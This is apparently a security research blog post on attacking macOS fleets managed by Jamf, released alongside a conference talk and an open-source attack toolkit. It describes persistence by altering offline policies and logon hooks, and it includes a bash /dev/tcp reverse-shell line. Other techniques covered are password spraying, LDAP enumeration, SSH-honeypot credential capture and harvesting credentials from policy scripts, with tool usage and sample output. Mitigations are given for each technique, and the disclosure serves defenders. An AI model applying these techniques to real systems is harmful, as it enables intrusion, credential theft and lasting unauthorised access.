Jamfing for Joy: Attacking macOS in Enterprise

By Calum Hall and Luke Roberts on 17 April, 2020

Calum Hall and Luke Roberts

17 April, 2020

On 13th March 2020, Calum Hall and Luke Roberts gave a talk titled "An Attacker’s Perspective on Jamf Configurations" at the 3rd edition of Objective By The Sea, held on the beautiful island of Maui, Hawaii.

The slides for the talk can be found here. This blog post is designed to complement the conference talk, and can be used as a reference when performing attacks against organisations utilising Jamf. We’ve even added in a few extra bits that we weren’t able to fit into the talk too! This post marks the release of the Jamf Attack Toolkit - a series of tools developed to facilitate the various attacks outlined in this post.

In the following sections, we will detail various attacks that we performed against organisations utilising Jamf to manage their macOS estates. The techniques discussed in the post range from information disclosure, persistence, credential discovery and more. Ultimately, by chaining the techniques discussed, we can obtain administrative control over all Jamf managed macOS (and iOS) devices... starting on the internet with no privileges at all. If that gets you excited, keep on reading!

Jamf self-describes as "The Standard for macOS in the Enterprise". At first we thought this was marketing spiel, however, after some research we learned that the platform is used by over 36,000 organisations, including 8 out of the top 10 largest fortune 500 companies and even by Apple themselves! As with many software packages, the security of the solution is dependent on how you configure it.

To provide some context, we're going to look briefly at the solution and pick out some key features that we will be attacking later on.

Key Components

We should first consider a few key components in the Jamf solution that are integral to its operation.

Jamf Software Server

The Jamf Software Server (also called Jamf Pro Server, or JSS) is a Java-based web application that runs on Apache Tomcat and uses MySQL as its backend database. This server is the administrative core of the solution. Administrators use the JSS to configure the devices using a web UI, and the agent on the devices themselves talk to this server to determine what tasks need to be performed.

Infrastructure Manager

Administrators commonly have the requirement to integrate Jamf with a pre-existing LDAP solution (typically Active Directory). If the organisation is using the on-premise version of Jamf, then the JSS can be linked to an LDAP server without issue. However, when using the Software-as-a-Service (SaaS) variant of Jamf, an additional component is required. To avoid exposing your internal LDAP service directly to the internet, Jamf provides a solution called the "Infrastructure Manager" that sits in a DMZ and proxies LDAP requests on behalf of the JSS. 

Jamf Agent / CLI

When a device is enrolled in the Jamf environment for the first time, a number of launch agents, binaries and plists are installed. This configures the periodic check-in functionality for a host, and enables Jamf to effectively manage the system. One specific component of great interest is the Jamf CLI application. This application allows us to interact with the JSS in various different ways, and we use this later on to facilitate a few different attacks.

A full list of components installed on an enrolled device can be found here.

Once installed, the agent performs a check-in to the JSS at pre-determined intervals. If the JSS determines that something must be done on the device, then this is communicated back to the agent. This process takes place over HTTPS. The agent uses a combinations of certificates and the UUID associated with the endpoint to act as authentication and integrity checking on the message itself, dependent on the configuration of the JSS. We won’t go into any further detail about this in this specific post as it is not relevant to the discussed attacks and would likely extend this post considerably.


If configured, a GUI application called "Self-Service" is installed on managed devices. This application can be used to trigger the execution of policies on-demand if the appropriate boolean has been set in the JSS policy configuration.

Administrative Tooling

Jamf also provides a number of administrative tooling in addition to the JSS. Some of these tools are considered legacy by Jamf, and presumably will be deprecated in the future. These tools facilitate policy execution, imaging, enrollment and more. But specifically, we’d like to call attention to the tool "Jamf Remote". This tool can be used to execute policies, scripts and generally configure devices on-demand. It also facilitates remote desktop or screen sharing. This tool uses SSH to manage devices, and hence the target must be network accessible.

Useful Default Values

The following table describes some default configuration values that may prove useful when attempting to identify JSS servers or attack the underlying infrastructure.

Administrating Devices

Enrolling macOS Devices

Jamf offers several methods of enrolling a new device into the environment. Namely, this post will focus on the following:

  • Pre-Stage (DEP)
  • User-Initiated Enrolment
  • QuickAdd Package
  • Recon

Pre-Stage allows administrators to utilise Apple’s Device Enrolment Program. This form of enrolment ensures that devices are distributed from Apple already enrolled within an organisation’s Jamf environment. This type of enrolment is ideal for organisations making a shift towards an Apple estate, however is only applicable to Apple devices being purchased, not those that already exist.

User-Initiated Enrolment permits users to initiate the enrolment process on their own. By visiting https://jss-demo.f-secure.com:8443/enroll, users are prompted for credentials to authorise the enrolment process. These credentials can either be setup locally on the JSS, or configured with directory services. Once authenticated, users are prompted to download either a QuickAdd package as discussed below, or a MDM profile to enroll the user’s device.

The QuickAdd Package is an installation package that installs the necessary binaries and agents on the target device. Once these components are installed, the package executes a post-install script which runs the necessary commands to enroll the device. 

Recon is a Jamf tool that can be used to enroll devices locally or over the network. Remotely enrolling devices requires SSH to be enabled on the target device, and the Jamf administrator must know the local administrator credentials.

Managing macOS Devices

Being its core function, Jamf offers a range of methods to administrators when it comes to managing macOS devices. It’s important to understand the nuances between the different methods, as this will help when it comes to understanding some of the attacks described later on.

Computer Configuration Profiles are .mobileconfig plist files that can configure applications or settings for the managed device. When using this method, we’re limited to the configurable items specified by Apple for the OS or by 3rd-party applications. This also requires a valid push certificate so that Jamf can use the Apple Push Notification service to send the configuration profile to the device. This could be used to enforce specific restrictions on the device, for example, force disabling macros in Microsoft Office.

We can also use Policies to perform management actions on a device. Policies can be used to perform a number of pre-defined actions by Jamf, including installing packages, software updates, disk encryption and user management. However, the real flexibility with policies is that we’re able to run arbitrary scripts; more on this later! Both configuration profiles and policies can be scoped to specific users, groups or computers. As an example, policies could be used to configure the local administrator accounts or install VPN configurations.

Lastly, we’re going to take a look at Extension Attributes (EAs). EAs perform a slightly different role than the previous methods, as they’re designed not to perform an action, but to retrieve data instead. This data is then stored inside the computer object, so that it can be used in search queries. Again, unlike the previous methods, EAs are indiscriminate. Although several (more manual) options exist to populate this field, commonly a script is used. For example, an EA could be used to collect the configured DNS servers of the managed devices on the estate.

Attacking Jamf - Compromised Device

This section contains the juicy details about the techniques we've come up with to attack Jamf managed organisations and devices. We use https://jss-demo.f-secure.com as a fictitious JSS in examples in this section. We're going to consider two attack paths.

The first considers a situation where and implant has been executed on a device and control over a Jamf managed device has been obtained. We're going to discuss methods of persisting on the device and talk about exploiting shared credentials to move laterally. 

  • Offline Policies (Persistence): Use cached policies to execute code on startup to provide a mechanism for persistence on a compromised device.
  • Logon Hooks (Persistence): Modify logon hooks to hide malicious code that’s executed on device startup.
  • Shared Management Credential Abuse: Compromise shared management credentials to facilitate lateral movement via SSH.

Offline Policies (Persistence)

At the beginning of this post we briefly discussed the option for the JSS to be located on-premise or in the cloud. So the question arises, if an organisation hosts their JSS within their internal network, how can they enforce actions on end-user devices when they are on a different network? And so we turn to offline policies. Offline policies exist when an administrator sets a policy’s execution frequency to ongoing, and configures the policy to be available offline. At which point, the next time a user applies this policy, the Jamf Agent will store the policy locally within /Library/Application Support/JAMF/Offline Policies. Upon being unable to communicate with the JSS, the JamfAgent will fall back to executing the policies stored within this directory.

               /bin/bash &gt;&amp;         /dev/tcp/         0&gt;&amp;1 &amp;

With administrative privileges on the devices, we have the ability to modify the contents of these files and as such insert malicious code to achieve persistent access. Much like standard policies, there are execution triggers set on these files, and ideally we would aim to target a policy that executes on startup, login or on check-in.

In an ideal world this attack vector can be mitigated by removing offline policies. At which point however, Jamf administrators will be unable to force policy execution on devices that are unable to communicate with the JSS. It therefore may be necessary for an alternative defensive strategy to be used - one that relies on detection. Administrators should monitor for any modifications to these files, be it through custom monitoring, or through ad-hoc integrity checking using extension attributes.

Logon Hooks (Persistence)

We talked earlier about different triggers that can be used to trigger the execution of a policy. This technique concerns itself with the login and logout triggers, and for these triggers to work, the config option "Create login and logout hooks" and "Check for Policies with login and logout" must be selected. This is disabled by default, but is required for this functionality to work!

Enabling this function modifies /private/var/root/Library/Preferences/com.apple.loginwindow.plist to execute Jamf supplied scripts on logon events. The scripts themselves are located at /Library/Application Support/JAMF/ManagementFramework/.

As these files are executed on login, they serve as a great persistence mechanism. We can modify these files to execute our payload, which will then be executed every time our target logs back into the device. To complete this technique, we’ve not observed any integrity checking or actions that revert our changes back to the stock scripts, meaning our persistence is there to stay. Modification of the scripts does however require root privileges.

This technique can be mitigated by disabling login and logout hooks in the JSS settings. However, these triggers will no longer be functional. That said, this action is trivial to detect. Modification of these scripts should never occur outside of initial configuration of the deployment. Alternatively, extension attributes could be used as ad-hoc integrity checking to identify hosts for which these files deviate from the golden standard.

Shared Management Credentials

Even in the world of Apple security we are yet to free ourselves from the reign of shared management credentials. Devices enrolled through user initiated enrollment are configured with a ’Management Account’. This account enables administrators to remotely access the device, primarily using tools such as Remote, as discussed prior. When configuring the management account within the JSS, administrators are presented with two methods for setting the account’s password.

By specifying the management account password, each user enrolled device will be setup using shared local administrative credentials. As an attacker, this may be a prime opportunity for lateral movement, if of course we can reveal the plain text password for this account. The management account is utilised by Jamf administrators using the SSH protocol. Therefore, we can gain access to the plain text password of this account using the following steps:

  • Gain administrative access to a self-enrolled device
  • Disable the legitimate SSH process
  • Compile our own honeypot SSH server that logs credentials from authentication requests
  • Start-up our SSH server using the legitimate host key for key-based host verification
  • Wait for or coerce a JSS administrator to interact with the device
  • Review logging and retrieve plain text credentials
  • These management credentials can then be sprayed around the target’s network to move laterally between self-enrolled devices.

To remediate this issue, when configuring the management account, ensure that the option to ’randomly generate passwords’ is selected. In doing so, each management account that is created will be done so using a unique password. An additional policy can be configured to rotate this credential at a pre-defined interval.

Attacking Jamf - Complete Compromise

The second path has no pre-requisite access or privileges, and starts from the internet. We're going to use legitimate functionality in a public facing JSS to obtain information about the internal estate, credentials and a foothold on a Jamf managed device. Then we will look to compromise further assets, including the JSS itself to gain complete control over the estate.  

A live demonstration of this attack can be found in the recording of our OBTS talk here.

  • Password Spraying: The compromise of valid LDAP credentials using a horizontal brute force or password spraying attack.
  • User Object Enumeration: Given valid LDAP credentials, an enrollment AJAX endpoint allows the enumeration of LDAP user objects (including service and computer accounts!).
  • User-Initiated Enrollment: Enrollment of an attacker controlled device into a target’s Jamf environment. This allows an attacker to interact with the JSS and is a pre-cursor to the policy abuse techniques described later on.
  • Insecure Policy Abuse: Compromise of insecurely secured credentials in policy scripts or arguments.

Password Spraying

Password spraying is the act of performing a horizontal brute force with the intention of avoiding lockout policies. Rather than attempting many passwords for a single user account, we will try a single password for many user accounts. To pull this off, we need an authentication oracle - a mechanism of determining whether an attempt was successful or unsuccessful. Luckily for us, we’ve identified two potential oracles within the JSS that could be used for this purpose, and best of all, we haven’t encountered any rate limiting or prevention controls when performing this attack. This attack relies on the target using LDAP for authentication, and mostly commonly, this activity leads to the discovery of valid Active Directory credentials! Both of these methods are built into our tool JamfSniper.

The first oracle we will consider uses the user-initiated enrollment authentication portal. The authentication attempt is performed using a HTTP POST request to https://jss-demo.f-secure.com:8443/enroll and looks something like this.

POST /enroll/ HTTP/1.1
Host: jss-demo.f-secure.com:8443
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=abcdef

If a 200 is returned then the authentication failed, otherwise we will receive a 302 and know we’ve identified valid credentials.

We can do something similar with the JSS Classic API, which is located at https://jss-demo.f-secure.com:8443/JSSResource. If you try to navigate to a resource, such as https://jss-demo.f-secure.com:8443/JSSResource/users, a basic authentication prompt will be displayed. If an LDAP server is configured, this authentication once again is performed using LDAP!

GET /JSSResource/users HTTP/1.1
Host: jss-demo.f-secure.com:8443
Accept: */*
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQK # username:password
Cookie: JSESSIONID=abcdef

Understanding whether an authentication was successful is slightly more nuanced in this case.

  • Option 1: Invalid Credentials. "Unauthorized" page is displayed and it re-prompts for basic authentication using www-authentication header.
  • Option 2: Valid Credentials, but no authorisation to access the JSS API resource. "Unauthorized" screen is displayed again, but the basic auth header isn’t present.
  • Option 3: Valid Credentials, and API access! The resource is displayed correctly. Therefore, using the existence of the www-authentication header, we’re able to build ourselves an oracle.

To mitigate the attack on user-initiated enrollment, authentication should be configured to use 3rd party SSO or user-initiated enrollment should be disabled. Further details can be found here. We’re not currently aware of a method of preventing the API oracle, other than disabling the LDAP connection all together - which might have other adverse effects on the functionality of the platform.

User Object Enumeration

Whilst playing with the user-initiated enrollment process, we encountered interesting functionality provided by the platform regarding LDAP. Upon self-enrolling using credentials for a local JSS account, users are confronted with an ’Assign to user’ prompt, whereby users can search for a directory services linked account to assign their device to. This functionality utilises the https://jss-demo.f-secure.com:8443/enroll/enroll.ajax API endpoint. This endpoint returns all accounts containing the queried string, for example querying for the character ’a’ will return all accounts with this character present within the account name.

For larger organisations, it should be noted that Jamf will be unable to return any information if the number of results is too great, and hence the depth in characters must be increased e.g. ’aaa’, ’aab’. This is described in more detail later in this post when discussing our tool JamfEnumerator.

POST /enroll/enroll.ajax HTTP/1.1
Host: jss.f-secure.com:8443
Accept: */*
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=abcdef

Due to the nature of this query functionality, we can use a brute force attack to enumerate all LDAP accounts within the target organisation. The ability to identify all user accounts can aid in further credential based attacks, including the password spraying attack detailed in the previous section. Interestingly, the LDAP query also returns computer accounts. This attack vector enables any user with valid credentials for self-enrolment to enumerate all user and computer accounts within the target's directory service from the internet! This enumeration procedure can be performed using our tool JamfEnumerator. 

As with many of the remedial actions relating to user-initiated enrollment, this attack vector can be mitigated by either disabling self-enrolment, or by using a 3rd party SSO provider with MFA enabled.

User Initiated Enrollment

During our research, we identified the externally facing user-initiated enrollment functionality as a potential vector for obtaining a foothold onto a target’s estate. This functionality can be configured in various ways, for example, the authentication controls can utilise either local JSS accounts, LDAP accounts (via the Infrastructure Manager if using SaaS) or a 3rd-party SSO solution. Additionally, user-initiated enrollment privileges can be restricted to specific LDAP groups, however in our experience this is uncommon.

This attack applies to targets that have user-initiated enrollment enabled and aren’t using 3rd party SSO to manage authentication for this component. However, this attack works best when any LDAP user can enroll a new device.

Navigating to https://jss-demo.f-secure.com:8443/enroll displays an authentication portal. If we successfully authenticate with valid LDAP credentials, we’re walked through the steps of enrolling a new device. If we go ahead and enroll a device that we, as an attacker own, we’ve now gained an interface to the JSS for further attacks. Additionally, this gives us access to a golden image macOS device, representative of what a new employee at the target would receive. This gives us lots of information, including any applications (and versions!), document templates and more. This is extremely useful information when it comes to performing further social engineering exercises. Crucially, in some cases, we’ve seen VPN configurations deployed in this way, and given that we already possess valid LDAP credentials, obtaining access to the target’s internal network becomes much simpler.

At this stage, we have a fully enrolled device in the target’s Jamf environment. We can use this to start interacting with the JSS - specifically, this position can be leveraged to identify examples of insecure policies (discussed later). Even better, as it’s our own device - we’re already root! This opens up more options later on.

To mitigate this attack vector whilst keeping the user-initiated enrollment functionality, we recommend using a 3rd-party SSO provider such as Microsoft Azure AD Connect and enforcing MFA on all authentication requests. Further conditional access policies can be applied to restrict authentication to trusted networks, further mitigating the issue.

Otherwise, if this functionality isn’t strictly required, new devices can be enrolled using various other means, including via a one-time email link. 

Policy Abuse

Policies are one of the primary methods used by macOS administrators to manage their devices. Most interesting to us, policies can be configured to execute scripts, and henceforth when we refer to policies - we’re referring to policies of this type. In our testing, it’s proven extremely common to see administrators storing credentials for all kinds of services in policy scripts or arguments. The issue itself is extremely widespread, and in our talk we discussed various places we’ve seen this, from random scripts on GitHub, to Jamf and Apple themselves, and everything in between. Whilst being one of the simplest attack vectors we discuss in this post, so far, it’s proved the most effective, regularly leading to complete compromise of the macOS estate (and sometimes the Windows one too!). The next few sections discuss the different methods we can use as an attacker to compromise these insecurely stored credentials.

Our tool JamfExplorer is a useful utility for automating the collection of executed policy scripts and arguments.

Example of a policy script with hardcoded credentials.

The first case we’re going to consider is when the administrator stores credentials inside the policy script itself. Once the condition for a policy to be executed is satisfied, the script is written to /Library/Application Support/JAMF/tmp/<script name>, executed, then deleted from this folder. This folder does require root to read the dropped scripts, but this isn’t a huge issue, and even in heavily restricted environments, we outline a solution in the later sections. Jamf is aware that this isn’t a particularly good idea, and instead recommends using arguments - which we will discuss in the following section.

We’ve also seen this variant occur in extension attributes. The attack vector is identical to policies as they’re written to the same folder on disk. They can be easily identified as they are written with random UIDs as filenames.

Example of a policy script with credentials passed in as arguments.

The other case we commonly find is credentials passed into the script as arguments. In the JSS this looks something like this. Whilst these credentials don’t get written to disk, if we look at the process listings when a script is executing, we observe something similar to this.

This is great news for us! The arguments are passed to the script like any other program, which means we can read them straight out of the process listings. Even better, we’re able to pull this information from a low privilege account, as even a low privilege account can see the processes and arguments of processes executing as root using the utility ps. We’ve seen local administrator credentials passed to devices in this way, so in the right environment this could serve as a handy privesc.

Example of a policy script using encrypted credentials.

We wanted to give a special nod to the final case we’ve observed in the wild. In this variant, we can see encrypted versions of the credentials stored in the arguments, and all the necessary information to decrypt the credential in the body of the script itself. We’ve seen two reasons that organisations are doing this. Firstly, this prevents everyone with access to the JSS from being able to view (potentially privileged) plaintext credentials. Alternatively, this prevents a SIEM collecting process logs from recording the credential in plaintext. Whilst this solution effectively combats both of these issues, from an attackers perspective, this provides no added benefit as we have access to both data sources.

One of the pre-requisites for the attacks described above is that the script must be executing at the same time we’re watching. This can sometimes prove tricky, as very few policies are going to be executing continuously on every check in. It’s possible that policies will only execute after specific conditions, such as network change or upon completion of enrollment. To make matters worse, it’s likely that policies will be configured to execute at specific intervals, maybe once per day, per user or per device. Thankfully, we have a few options to combat these issues.

Firstly, we can use the Self-Service portal to force execute policies. If the policy has been configured with the "Make Available in Self-Service" flag, then it will appear in the "Self-Service" GUI application installed on the device and can be executed on demand.

Alternatively, we can simulate various events. Jamf provides a list of pre-defined triggers that can be selected in the JSS, such as "Enrollment Complete" and "Login". Custom triggers also be used. All triggers are simply a pre-determined text string, for example "Enrollment Complete" becomes "enrollmentComplete". If we execute the Jamf CLI tool with the following command, we can simulate various events. This also works for custom triggers if we know the string used, or have enumerated it from other scripts.

sudo jamf policy -trigger <trigger name>

We also need to combat the fact that some policies will only execute in a given interval or set number of times. Again, we can use the Jamf CLI to alieviate this issue. The tool includes an option to purge policy history from the JSS, resulting in the re-execution of any policies that have already executed for the user, device or timeframe.

sudo jamf flushPolicyHistory

Finally, we consider extension attributes. This becomes trivial as they’re designed to run on every device all the time. We can trigger the execution of extension attributes using the following command.

sudo jamf recon

A common paradigm we’ve observed for policies is the following work-flow.

  • Get the value of an extension attribute for the computer.
  • Do something with this value.
  • Store the result back into an extension attribute.

To do this, credentials for the JSS API must be included either in the script body or arguments. This already isn’t ideal, as we’ve just learned how to compromise these credentials. That said, the impact of this can be drastically reduced if role based access control (RBAC) is configured correctly for the account. In our experience, we tend to see mistakes in this area, specifically regarding the modification of extension attributes.

Jamf’s RBAC page has options to modify the create, read, update and delete permissions for various objects within the JSS. In order to modify an extension attribute field for a computer, the account does not require the permission to update extension attributes. Instead, it requires the permission to update both computer and user objects. Confused? Given that extension attributes are stored inside the respective Computer or User object, updating an extension attribute is synonymous with updating the objects themselves.

So what does the extension attribute permission actually do? It gives permission for a user account to configure what extension attributes run on managed devices. As we learned earlier, extension attributes provide indiscriminate code execution using scripts. Therefore, giving this permission to a "low-privileged" API account actually gives it privileged code execution across the whole estate.

To mitigate this attack vector, policies should be refactored to avoid placing credentials in both arguments or the scripts themselves. Where possible, native Jamf payloads should be used in favour of script payloads. Accounts should always follow the principle of least privilege and should be configured with the least amount of permissions necessary to perform its given role.

Jamf Attack Toolkit (JamfAT)

In this penultimate section, we will be giving technical guidance for using the various open-source tooling that we’re releasing to facilitate some of the attacks described earlier. The toolkit is written in Python and can be obtained here on GitHub.


JamfSniper is used to perform password spraying attacks against LDAP-enabled JSS components. Both of the discussed methods, the enrollment portal and API, can be sprayed using this tool. The tool supports both spraying and brute forcing, however, due to account lockouts commonly being configured on LDAP servers, this isn’t advised. By default, the tool threads on many users for a single password, however this can be reversed for performance reasons if you’re brute forcing.

usage: JamfSniper.py [-h] [--username [USERNAME]]
           [--username-list [USERNAME_LIST]] [--password [PASSWORD]]
           [--password-list [PASSWORD_LIST]] [--threads [THREADS]]
           [--swap] [--api]
Password Spray a target's Jamf installation.
positional arguments:
 jss          URL of the JSS
optional arguments:
 -h, --help      show this help message and exit
 --username [USERNAME]
            Username to spray
 --username-list [USERNAME_LIST]
            File containing usernames to spray
 --password [PASSWORD]
            Password to spray
 --password-list [PASSWORD_LIST]
            File containing passwords to spray
 --threads [THREADS]  Number of threads to use (default=20)
 --swap        Thread on passwords rather than usernames, useful for
            brute forcing
 --api         Use the API method of password spraying rather than
            the enrollment portal.

To begin, simply specify the JSS, username list and password to spray. Optionally, we can specify the number of threads to use.

Jamf Attack Toolkit $ python3 JamfSniper.py --username-list users.txt --password Passw0rd1 https://jss-demo.f-secure.com:8443
[*] JSS URL: https://jss-demo.f-secure.com:8443/enroll/
[*] Status: Up
[*] Attempting authentication requests for 13 usernames with 1 passwords (13 total).
[?] Ready? [y/N] y
[*] Attempting 'Passw0rd1' (1/1)
[*] acook:Passw0rd1 (success)                          
[*] jsmith:Passw0rd1 (success)                          
[*] rmurray:Passw0rd1 (success)                         
100%|███████████████████████████████████████████| 13/13 [00:00<00:00, 25.42it/s]

As a result, we have domain credentials that can be used to further our attacks!


This tool can be used to enumerate user accounts using the enrollment portal after valid credentials have been identified. This tool is quite straight forward, and the only complexity comes from the depth parameter. In large environments, querying values of short length would return too many results, and nothing is returned as a result. To combat this, the depth parameter specifies the length of the query to send. For example, when depth is 1, the tool will enumerate from ’a’ to ’z’. When the depth is 3, the tool will query ’aaa’ to ’zzz’. Obviously, as the depth increases, so does the number of requests required to completely enumerate the environment.

usage: JamfEnumerator.py [-h] [--username [USERNAME]] [--password [PASSWORD]]
             [--threads [THREADS]] [--query [QUERY]]
             [--depth [DEPTH]] [--output [OUTPUT]]
Enumerates LDAP user objects when connected to Jamf.
positional arguments:
 jss          URL of the JSS
optional arguments:
 -h, --help      show this help message and exit
 --username [USERNAME]
            Valid LDAP username
 --password [PASSWORD]
            Valid LDAP password
 --threads [THREADS]  Number of threads to use (default=1)
 --query [QUERY]    Specific query to use instead of brute forcing all
 --depth [DEPTH]    Length of permuations to generate (default=1)
 --output [OUTPUT]   File to output enumerated usernames

As an example, we performed the following on a small environment.

Jamf Attack Toolkit $ python3 JamfEnumerator.py --username jsmith --password Passw0rd1 --depth 1 https://jss-demo.f-secure.com:8443
[*] JSS Enrollment URL: https://jss-demo.f-secure.com:8443/enroll/
[*] JSS Ajax URL: https://jss-demo.f-secure.com:8443/enroll/enroll.ajax
[*] Status: Up
[*] Attempting authentication.
[*] Successful auth! Onwards.
[?] Ready? [y/N] y
[*] Querying the world.
100%|███████████████████████████████████████████| 36/36 [00:00<00:00, 47.19it/s]
[*] Found 12 users.
{'acook', 'rmurray', 'objsee', 'krbtgt', 'DefaultAccount', 'ekarlsson', 'jsmith', 'Administrator', 'emalkin', 'OKTA001$', 'Guest', 'svc_jamf_ldap'}


Next, we have JamfExplorer. This tool makes it easy to identify the scripts (both policy and EA) that execute on the device. Most importantly, the tool captures both arguments and the scripts themselves. This allows us to locate instances of insecure credential storage. The tool also looks to determine whether it has access to the Jamf temporary directories, which usually requires root privileges. If the access request is successful, then it will search in this directory to obtain the script bodies. Otherwise, it will only log the arguments passed to the scripts, which can be determined from a low privileged perspective.

usage: JamfExplorer.py [-h] [--output [OUTPUT]] [--debug]
Listens on the device to log executing policies. This tool was designed to identify insecure credential storage within policies and EAs.
optional arguments:
 -h, --help     show this help message and exit
 --output [OUTPUT] Folder to output results
 --debug      Enable debug mode

The resulting scripts are copied to a folder, and arguments logged to stdout. The following key output is referenced.

  • [1] Script for a policy containing credentials.
  • [2] Arguments for a policy containing credentials.
  • [3] Extension attribute containing credentials.

[*] Determining privilege to Jamf temp directories.
[*] We have access! Listening for scripts and EAs.
[*] New File: 54507.tmp (d41d8cd98f00b204e9800998ecf8427e)
[*] File Updated: 54507.tmp (a17c9302dbdfa6e1636c76f146ae027c)
[*] File Updated: 54507.tmp (21c95e76733bc4eac53f1433c203008c)
[*] New File: LAPS [1] (4a2004440ca87c7f60a1d68520a04008)
[*] New Process: /Library/Application Support/JAMF/tmp/LAPS
- Mount Point: /
- Computer Name: dionysus's Mac
- Username: dionysus
- Parameters:
4: svc_jamf_laps [2]
5: RandomiseAllTheThings!
6: jamfMgmt
12: /Library/Application Support/JAMF/tmp/54507.tmp
[*] File Updated: 54507.tmp (a0b75636d8e36dd2080c86495f21cd56)
[*] New File: Set Wallpaper (5b8eb39543b8ccf645e722a738201ecf)
[*] New Process: /bin/sh /Library/Application Support/JAMF/tmp/Set Wallpaper
- Mount Point: /
- Computer Name: dionysus's Mac
- Username: dionysus
- Parameters:
[*] File Updated: 54507.tmp (318a3f4331216af4d5421d54b29e4438)
[*] New File: 16E2D908-BBC5-459D-93E9-53113AF70A42 [3] (f61883b57b1eb3550ee865329e528531)


Lastly, our final tool JamfDumper uses the Jamf API to dump local copies of policies, scripts and extension attributes. This can be useful if a read-only API account is obtained using JamfExplorer. We can then grep through the output of the tool to identify further instances of insecure credential storage!

Jamf Attack Toolkit $ python3 JamfDumper.py 
[?] JSS URL (blah.jamfcloud.com): jss-demo.f-secure.com:8443
[?] JSS Username: JamfAdministrator
[?] JSS Password: 

# Policies #

5 - LAPS
4 - Set Wallpaper
1 - Update Inventory

# EAs #

1 - CrashPlan - Last Backup

# Scripts #

4 - LAPS
3 - Set Wallpaper

Jamf Attack Toolkit $ tree "jss-demo.f-secure.com:8443/"
├── Policies
│  ├── 1
│  ├── 4
│  ├── 5
├── Scripts
│  ├── 3
│  ├── 4
└── EAs
   └── 1
3 directories, 6 files

This tool will be extended in the future to dump additional objects using the Jamf API.


The presence of Apple devices within the enterprise is likely to continue growing over the coming years, and the reliance on platforms like Jamf is only going to increase. It is therefore essential that the appropriate security measures and best practises are widely shared across the industry. With the knowledge of the attacks discussed within this document, organisations can ensure that they themselves are not vulnerable to these threats.

Feel free to ping us on Twitter, @_calumhall and @rookuu_ if you have any questions.